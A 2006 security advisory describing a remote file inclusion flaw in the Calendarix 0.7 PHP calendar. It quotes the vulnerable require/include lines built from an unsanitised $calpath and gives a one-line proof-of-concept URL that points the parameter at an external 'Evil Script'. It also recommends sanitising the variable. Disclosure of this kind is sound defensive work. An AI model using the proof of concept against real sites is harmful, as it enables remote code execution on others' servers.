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Calendarix 0.7 calpath Remote File Inclusion --------------------------------------------------------------------------------------- Author : Sh3ll Date : 2006/08/11 HomePage : http://www.sh3ll.ir Contact : sh3ll[at]sh3ll[dot]ir --------------------------------------------------------------------------------------- Affected Software Description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : Calendarix version : 0.7.20060401 Venedor : http://www.calendarix.com Class : Remote File Inclusion Risk : High Summary : Calendarix Is a Powerful and Easy to Use Calendar Based on PHP and MySQL. --------------------------------------------------------------------------------------- Vulnerability: ~~~~~~~~~~~~~ in cal_config.inc.php We Found Vulnerability Script --------------------------------------cal_config.inc.php------------------------------- .... <?php // Check file exist for admin call to this script require $calpath."cal_db.inc.php"; ... $language = 'e'; # don't change next 3 lines ! require $calpath."cal_languages/".$language.".inc.php"; require $calpath."cal_languages/".$language.".months.php"; require $calpath."cal_languages/".$language.".week.php"; ... include $calpath."themes/".$theme.".color.php" ; ?> ... --------------------------------------------------------------------------------------- PoC: ~~~ http://www.target.com/[Calendarix]/cal_config.inc.php?calpath=[Evil Script] Solution: ~~~~~~~~ Sanitize Variabel $calpath in cal_config.inc.php ---------------------------------------------------------------------------------------- Note: ~~~~ Venedor Contacted, But No Response. So Do a Dirty Patch. ---------------------------------------------------------------------------------------- Shoutz: ~~~~~~ ~ Special Greetz To My Best Friend N4sh3n4s & My GF Atena ~ To All My Friends in Xmors - Aria - Hackerz & Other Iranian Cyber Teams
